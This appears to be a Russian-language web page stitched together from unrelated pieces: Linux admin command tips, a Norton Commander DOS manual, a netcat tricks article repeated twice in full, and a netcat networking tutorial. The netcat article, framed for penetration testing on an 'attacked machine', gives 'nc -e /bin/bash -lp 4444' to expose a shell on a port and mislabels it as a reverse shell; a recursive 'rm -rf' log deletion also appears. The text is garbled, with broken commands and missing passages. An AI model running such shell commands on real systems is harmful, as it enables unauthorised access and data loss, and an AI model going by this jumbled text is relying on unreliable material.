Netcat nc с поддержкой параметра. Полезные команды Linux. Как определить версию Unix системы

В этой заметке будут фиксироваться полезные команды для Linux-based systems, с которыми нам приходилось иметь дело.

Удаление старых файлов в Linux

# find /var/log -mtime +60 -type f -exec rm -rf {} \;

В данном примере будут рекурсивно удалены все файлы в каталоге /var/log, чья дата изменения старше 60-ти дней.

Как сделать “telnet” с помощью утилиты netcat (nc)

# nc -v -w 5 10.200.7.2 -z 1414-1420

V: Дополнительная диагностика (verbose)

W 5: тайм-аут (в секундах)

10.200.7.2: host

Z 1414-1420: диапазон портов

# nc -v -w 5 10.200.7.2 -z 1414-1420 nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress Connection to 10.200.7.2 1417 port succeeded! nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

# nc -v -w 5 10.200.7.2 -z 1414-1420

nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress

Connection to 10.200.7.2 1417 port succeeded!

nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

Как определить версию Unix системы

Для начала понимаем что это вообще за класс ОС, путем вывода универсальной для всех Unix-систем команды:

# uname -a

которая нам выведет что-то подобное:

Linux hostname.com 2.6.18-194.17.4.el5PAE #1 SMP Mon Oct 25 16:35:27 EDT 2010 i686 i686 i386 GNU/Linux

FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE #0: Wed Dec 5 20:00:38 MSK 2007 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 или AIX svcas07 3 4 000145364C00

из чего нам либо станет понятно кто это. Для того чтобы уже конкретно определить версию linux:

# cat /proc/version

Linux version 2.6.18-194.17.4.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-48)) #1 SMP Mon Oct 25 16:35:27 EDT 2010

то есть теперь известно семейство linux и версия ядра.

У семейства Red Hat есть более подробная команда, для того чтобы узнать версию linux:

# cat /etc/redhat-release

CentOS release 5.6 (Final)

По хорошему это исчерпывающий ответ, но в Red Hat также имеется дополнительная утилита ставящаяся в полном комплекте, которая выведет более подробную информацию про версию linux:

# lsb_release -a

LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor ID: CentOS Description: CentOS release 5.5 (Final) Release: 5.5 Codename: Final

Еще вариант:

# cat ls /etc/*{-,_}{release,version} 2>/dev/null | head -n 1

Как посмотреть кто «держит» директорию

# fuser -uc dir_name

fuser - утилита, идентифицирующая процессы, которые используют указанные файлы или сокеты. -c Подобно параметру -m и применяется для совместимости с POSIX.

-m В качестве name указывается файл на смонтированной файловой системе или смонтированное специальное блочное устройство. Выводится список всех процессов, которые используют файлы на этой файловой системе. Если указанный файл является каталогом, тогда к его имени автоматически добавляется name/. и рассматривается любая файловая система, которая может быть смонтирована на этот каталог.

-u Добавляет к каждому PID имя владельца процесса.

Считаем, сколько места на диске занимает каталог

# du -sh /var

Выводим в Мб или Гб.

Просмотр файла с возможностью скроллинга вверх и вниз

# less file.txt

Получение любой даты из системы

# date -d “строка”

где строка может содержать значения: “1 day ago”, “1 week ago”, “1 year ago”.

Просмотр последних n строк из файла

# tail -n

Например просмотр последних 20 строк: tail -20 access_log

Слежение за файлом

# tail -f access_log

Команда tail с ключом f позволяет следить за файлом: новые строки (добавляемые в конец файла другим процессом) автоматически выводятся на экран в реальном времени. Это особенно удобно для слежения за журналами.

Вывести все java-процессы

# ps –ef| grep java

Удобно использовать для отображения всех процессов сервера приложений.

Работа с логом access.log HTTP-сервера

# head -10 access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq

Показывает первые 10 строк из журнала access.2014.08.14.log, сортируя и исключая дубликаты, в формате “ip_клиента/доменное_имя_клиента, URL, HTTP-код”.

# cat access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq > access_result.txt

Тоже самое но с выводом в файл C:\access_result.txt.

Инструкция по работе в Norton Commander

Для запуска системы NC в командной строке DOS набрать команду NC либо щелкнуть левой кнопкой мышки по пиктограмме NC на рабочем столе компьютера. Для завершения работы с NC нажать клавишу [ F 10] . В появившемся диалоговом окне выбрать ответ “Да” в случае выхода из системы, “Нет” – в противном случае. Выбор варианта ответа выполняется клавишами управления курсором на функциональной клавиатуре и последующим нажатием клавиши [ Enter ] . В нижней части экрана содержится командная строка DOS, где можно вводить соответствующие команды, работая под управлением NC. Самая нижняя строка экрана содержит строку подсказки, где указывается назначение основных “горячих” клавиш, которые соответствуют командам NC (и DOS).

После запуска NC на экране появляются две панели – левая и правая. В верхней части каждой из панелей в маленьком прямоугольном окне указано полный путь к текущему файлу или каталогу. Та панель, в которой находится подсвеченный прямоугольник – курсор, называется активной. Для перехода с панели на панель используется клавиша . Если выделена верхняя строка на панели и изображением “…” это означает, что Вы находитесь в каталоге с именем, указанным в верхней части панели. Для работы с панелями используются следующие команды:

[ Ctrl ] + [ F 1] Убрать/ показать левую панель

[ Ctrl ] + [ F 2] Убрать/ показать правую панель

[ Ctrl ] + [ U ] Поменять панели местами

[ Ctrl ] + [ O ] Убрать/ показать обе панели

[ Ctrl ] + [ P ] Убрать/ показать не активную панель

Для смены логического имени диска на левой панели нажать [ Alt ] + [ F 1] , в появившемся диалоговом окне выбрать с помощью клавиш управления курсором нужное имя диска из предлагаемых имен, нажать клавишу [ Enter ] . Для правой панели действия аналогичны, но в начале следует нажать [ Alt ] + [ F 2] .

Для перехода в каталог выделить его на активной панели и нажать клавишу [ Enter ] . Для перехода в каталог более высокого уровня на активной панели выделить строку “…” и нажать клавишу [ Enter ] .

Для работы с каталогами используются следующие команды:

[ F 7] – создать каталог . В появившемся диалоговом окне задать новое имя каталога;

[ F 8] – удалить каталог . В появившемся диалоговом окне подтвердить удаление или отменить удаление нажатием клавиши Esc.

Для работы с файлами используются следующие команды:

[ Shift ] + [ F 4] – создать файл . В появившемся диалоговом окне задать новое имя файла (при этом не забывать указывать расширение). После того как имя файла задано, в рабочем пространстве экрана набрать содержимое файла. Завершить создание файла командой [ Ctrl ] + [ Z ]. Для сохранения файла нажать клавишу [ F 2] . Выйти из режима редактирования клавишей [ F 10 ] .

[ F 4] – редактирование ранее созданного документа . При этом в диалоговом окне необходимо задать имя редактируемого файла. При работе в режиме редактирования в пространстве экрана в нижней части появляется строка подсказки с назначением “горячих” клавиш в режиме редактирования.

[ Shift ] + [ F 2] – сохранить файл с новым именем.

[ F 3] – просмотреть содержимое файла . Для этого предварительно выделить файл на панели.

[ F 5] – копирование файла . Все операции с файлами и каталогами выполняются с использованием обеих панелей. Для копирования файла на неактивной панели установить каталог, куда будет помещен копируемый файл, перейти в данный каталог. На активной панели выделить копируемый файл и нажать клавишу [ F 5] . Для подтверждения копирования нажать клавишу [ Enter ] , для отмены – .

[ F 6] – перенос/переименование файла . Операция выполняется аналогично копированию. Для перемещения файла на неактивной панели установить каталог, куда будет помещен файл, перейти в данный каталог. На активной панели выделить перемещаемый файл и нажать клавишу [ F 6] . Для переименования файла в диалоговом окне задать новое имя файла, добавив его через значок ” \ ” в указании пути. При этом необходимо помнить, что перемещаемый файл с прежнего места удаляется.

[ F 9] – переход в меню NC .

Групповые операции над файлами

Операции копирования, перемещения, удаления можно выполнять над несколькими файлами одновременно. Для этого их необходимо пометить, выделив на панели и нажав клавишу [ Insert ] . При этом выделенные файлы подсвечиваются прямоугольниками контрастного цвета. Для снятия выделения указанные действия повторить. После процедуры выделения файлов требуемая операция (копирования, перемещения, удаления) выполняется над группой файлов как над одним. Второй способ выделения файла выполняется при нажатии большой серой клавиши ”+” на функциональной клавиатуре слева. После нажатия этой клавиши в диалоговом окне следует задать имя файла или указать имена файлов при использовании маски в имени: “ * ”, “ *.* ”, “ ? ”. Для снятия выделения файлов использовать клавишу ” - ” на функциональной клавиатуре слева.

Система Меню NC

Система меню предназначена для настройки оболочки и облегчения выполнения операций. Вызов строки меню осуществляется при нажатии клавиши [ F 9] . Система меню состоит из строки меню и выпадающих меню. Меню содержит следующие пункты: Правая Файлы Команды Настройки Левая . Команды Правая и Левая определяют выбор режима отображения файлов на панели. Все опции команд для левой и правой панели идентичны. Команда Файлы предназначена для выполнения операций над файлами и каталогами. Пункт меню Команды предназначен для выполнения дополнительных команд. Команда Настройки предназначена для настройки среды NC. Выбор соответствующей команды выполняется с помощью клавиш управления курсором и последующим нажатием клавиши [ Enter ].

Пункт меню Левая (Правая).

Выпадающее меню данной команды содержит опции выбора формата отображения файла на экране. В режиме Краткий на панели выводятся только имена файлов и каталогов. В режиме Полный выводятся имя файла или каталога, для файла указывается его размер, для каталога – строка “подкаталог“, дата и время создания файла и каталога. В режиме Дерево можно отобразить дерево каталогов текущего диска и с помощью курсора быстро отыскать требуемый файл, перемещаясь по дереву. Следующая группа опций данного пункта меню определяет порядок отображения файлов на панели. При этом файлы могут располагаться в произвольном порядке – режим Без сортировки , а могут быть упорядочены в определенном порядке: Имя – по имени в алфавитном порядке, Расширение – по расширению в алфавитном порядке, Время – по дате создания, причем файлы с последними датами создания располагаются в начале списка, Размер – по размеру файла в порядке убывания. Выбор строки соответствующего режима осуществляется курсором и установки флажка с помощью клавиши “пробел”.

Пункт меню Файлы .

Выпадающее меню данной команды содержит описание назначения горячих клавиш [ F 1] - [ F 8] , т.е. действия горячих клавиш продублированы командами меню. Следующая опция – Установка атрибутов. Атрибуты устанавливаются только для файлов. Порядок установки атрибутов таков: на панели курсором выбирается файл. После этого нажав клавишу [ F 9] перейти в меню NC и выбрать пункт Файлы Установка атрибутов . После нажатия клавиши [ Enter ] в диалоговом окне появляется список возможных атрибутов: Только для чтения, Архивные, Скрытые, Системные . Выбор строки атрибута файла выполняется курсором и установки флажка с помощью клавиши “пробел”. При этом файл с атрибутами Только для чтения невозможно модифицировать, он доступен только для просмотра. Файл с атрибутами Скрытый на панели помечается маленьким подсвеченным прямоугольничком (если в настройках экрана не установлена опция Показать скрытые файлы имя файла вообще на панели не отображается). Следующая группа команд позволяет выделять файлы (аналог большой серой клавиши ”+” ), снимать выделение (аналог клавиши ” - ” на функциональной клавиатуре), инвертировать выделение (аналог клавиши ” * ” на функциональной клавиатуре).

Пункт меню Команды .

Выпадающее меню данной команды позволяет создать меню пользователя, отредактировать данное меню, просмотреть историю команд, вводимых в командной строке DOS, и содержит другие дополнительные возможности оболочки NC.

Пункт меню Настройки.

Выпадающее меню данной команды позволяет настроить интерфейсную среду удобным для пользователя образом. Содержит опцию Настройки Редактор и другие. При выборе строки меню Настройки раскрывается набор диалоговых окон, позволяющих выбрать цветовой набор экрана, задать количество строк на экране и т.д. Диалоговое окно Настройки панели позволяет Показать скрытые файлы , если установлен соответствующий флажок (или не показывать). Установка флажков соответствующих опций выполняется также курсором и клавишей “пробел”.

Задание к лабораторной работе

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

|

Система Linux известна тем, что в большинстве дистрибутивов огромное количество полезных утилит командной строки поставляются сразу вместе с ОС. Опытные системные администраторы могут выполнить большинство задач с помощью встроенных инструментов без необходимости установки дополнительного программного обеспечения.

Данное руководство посвящено работе утилиты . Этот своеобразный «швейцарский армейский нож» сетевых инструментов может быть полезен при мониторинге, тестировании и передаче данных через сетевые соединения.

В данном руководстве используется сервер Ubuntu 12.04, но в целом утилита netcat доступна практически на любом современном дистрибутиве. Ubuntu поставляется с BSD-вариантом утилиты, который и будет использован в этой статье. Другие версии могут работать по-другому или предоставлять другие опции.

Общий синтаксис

По умолчанию netcat работает путем инициации соединения TCP с удаленным хостом.

Базовый синтаксис:

netcat [опции] хост порт

Такая команда инициирует TCP-соединение с указанным хостом через заданный порт. В основном, она функционирует аналогично старой команде Linux — telnet. Имейте в виду, что ваше соединение будет установлено в незашифрованном виде.

Чтобы вместо установления TCP-соединения отправить UDP-пакет, используйте опцию -u:

netcat -u хост порт

Чтобы задать диапазон портов, укажите первый и последний порт диапазона через тире:

netcat хост первый_порт-последний_порт

Обычно данная команда используется с дополнительными флагами.

На большинстве систем можно использовать netcat или nc. Они взаимозаменяемы, поскольку являются псевдонимами для одной команды.

Использование для сканирования портов

Чаще всего netcat используют как сканер портов.

Хотя Netcat, вероятно, не самый умный инструмент для выполнения этой задачи (в большинстве случаев для этого больше подойдет nmap), он может выполнять простое сканирование портов, чтобы быстро определить открытые порты.

Для этого укажите диапазон портов для сканирования (как показано выше), а также используйте опцию -z, которая выполняет сканирование вместо установления соединений.

К примеру, чтобы просканировать все порты до порта 1000, выполните:

netcat -z -v domain.com 1-1000

Как видите, кроме опции -z в данной команде использована опция -v, благодаря которой netcat выводит более подробную информацию.

Результат имеет такой вид:

nc: connect to domain.com port 1 (tcp) failed: Connection refused
nc: connect to domain.com port 2 (tcp) failed: Connection refused
nc: connect to domain.com port 3 (tcp) failed: Connection refused
nc: connect to domain.com port 4 (tcp) failed: Connection refused
nc: connect to domain.com port 5 (tcp) failed: Connection refused
nc: connect to domain.com port 6 (tcp) failed: Connection refused
nc: connect to domain.com port 7 (tcp) failed: Connection refused
. . .
Connection to domain.com 22 port succeeded!
. . .

Как видите, эта команда выводит достаточно подробный результат, а также сообщает, было ли сканирование каждого отдельного порта успешным или нет.

Это удобно при использовании доменного имени.

Тем не менее, указывая нужные IP-адреса, можно значительно ускорить сканирование. Затем можно использовать флаг -n, чтобы указать, что не нужно разрешать IP-адрес с помощью DNS:

netcat -z -n -v 111.111.111.111 1-1000

Возвращаемые сообщения отправляются в стандартный поток ошибок. Сообщения о стандартных ошибках можно отправлять в стандартный вывод, чтобы фильтровать результаты.

Для перенаправления стандартной ошибки в стандартный вывод используется bash-синтаксис 2>&1; полученные результаты фильтруются с помощью grep:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
Connection to 111.111.111.111 22 port succeeded!

Итак, теперь можно видеть, что единственный открытый порт на удаленной машине в диапазоне 1-1000 — это порт 22, стандартный порт SSH.

Общение с помощью netcat

Команда netcat не ограничивается отправкой пакетов TCP и UDP. Она также может прослушивать порт на соединения и пакеты, что дает возможность подключить два экземпляра netcat в отношении «клиент-сервер».

Который компьютер является сервером, а который — клиентом, существенно только во время начальной настройки. После того, как соединение установлено, связь одинакова в обоих направлениях.

На одной машине нужно сказать netcat прослушивать определенный порт на подключения. Это делается с помощью параметра -l, после которого указывается номер порта:

Выполнив эту команду, netcat прослушивает соединения TCP на порту 4444. Теперь обычный пользователь (не root) не сможет открывать какие-либо порты до 1000 (для безопасности сервера).

На втором сервере нужно подключиться к первой машине через указанный порт. Это делается так же, как было показано ранее:

netcat domain.com 4444

После установления соединения может показаться, что ничего не произошло. Но теперь можно отправлять сообщения по обе стороны соединения и они будут видны на обоих серверах.

Введите сообщение и нажмите ENTER. Сообщение появится как на локальном, так и на удаленном сервере. Это работает и в обратном направлении.

Завершив передачу сообщений, нажмите CTRL-D, чтобы прервать TCP-соединение.

Обмен файлами с помощью netcat

Ознакомившись с основными функциями утилиты и выполнив предыдущие примеры, можно перейти к более сложным задачам.

Как уже говорилось, утилита netcat создает TCP-соединения, с помощью которых можно передавать практически любой вид информации, не ограничиваясь набранными пользователем сообщениями. Эти знания можно использовать, чтобы превратить netcat в программу передачи файлов.

Опять же, нужно выбрать одну машину для прослушивания соединений. Однако, вместо того, чтобы печатать информацию на экран (как в предыдущем примере), netcat разместит всю информацию прямо в файл:

netcat -l 4444 > received_file

На втором компьютере нужно создать простой текстовый файл:

echo "Hello, this is a file" > original_file

Теперь можно использовать этот файл в качестве входных данных для создания соединения со слушающим компьютером. Файл будет передаваться так же, как если бы он был набран в интерактивном режиме:

netcat domain.com 4444 < original_file

Как можно видеть, на компьютере, который ожидал соединения, теперь есть новый файл с именем «received_file», содержащий введенные на другом компьютере данные:

cat received_file
Hello, this is a file

Как видите, подобные соединения можно легко использовать для передачи любого рода информации.

К примеру, можно передать содержимое целого каталога; для этого создайте безымянный тарбол, передайте его на удаленную систему и распакуйте его в удаленный каталог.

На принимающей стороне можно использовать следующую команду, чтобы предупредить о том, что нужно получить и распаковать файл:

netcat -l 4444 | tar xzvf -

Тире в конце команды означает, что тарбол будет работать на стандартный ввод, который в настоящее время передается по сети, если соединение установлено.

На стороне, содержащей каталог, который нужно передать, упакуйте данный каталог в архив, а затем отправьте его на удаленный компьютер с помощью netcat:

tar -czf - * | netcat domain.com 4444

На этот раз тире в команде tar значит, что содержимое текущего каталога (как указано символом *) нужно заархивировать и передать, а затем записать результат в стандартный вывод.

Затем это записывается в подключение ТСР, передается другой стороне соединения и распаковывается в текущий каталог удаленного компьютера.

Это лишь один пример передачи более сложных данных с одного компьютера на другой. Также часто используется команда dd, которая создает образ диска на одной стороне и передает его на удаленный компьютер. Тем не менее, такой подход не охвачен данным руководством.

как простой веб-сервер

Утилита netcat уже была использована для передачи сообщений и файлов. Этот же подход поможет использовать netcat как простой веб-сервер. Это может пригодиться для тестирования готовых страниц.

Для начала нужно создать HTML-файл на одном сервере:

В данном файле можно разместить следующий простой код:



Test Page


Level 1 header


Subheading


Normal text here




Сохраните и закройте файл.

Данный файл нельзя обслуживать на порту веб-сервера по умолчанию (80) без привилегий root. Потому как обычный пользователь установите порт 8888.

Чтобы протестировать одну страницу и проверить, как она отображается, наберите что-то вроде:

netcat -l 8888 < index.html

Теперь контент можно просмотреть в браузере, посетив:

http://IP_сервера:8888

Эта команда выведет страницу, после чего соединение netcat закроется. При попытке обновить страницу она исчезнет.

Netcat может обслуживать страницу на продолжении неопределенного срока; для этого нужно сделать последнюю команду цикличной при помощи строки:

while true; do nc -l 8888 < index.html; done

Тогда страница будет продолжать получать соединения после того, как первое соединение было прекращено.

Чтобы остановить цикл, наберите CTRL-C.

Этот сервер позволит увидеть, как страница отображается в браузере, но не предоставляет более широкой функциональности. Никогда не используйте такой веб-сервер для обслуживания реальных сайтов: он небезопасен, кроме того, такие простые вещи, как ссылки, не всегда работают правильно.

Итоги

Данное руководство знакомит с основными функциями и использованием netcat. Так как этот инструмент универсален, он может быть использован для диагностики проблем и тестирования базовой функциональности TCP/UDP-соединений.

Кроме того, netcat позволяет общаться и обмениваться информацией между различными компьютерами, что очень важно для быстрого взаимодействия пользователей. Упрощая создание соединения, утилита netcat пытается сделать сетевые взаимодействия компьютеров более удобными, быстрыми и понятными.

Tags: ,

Есть вопросы?

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: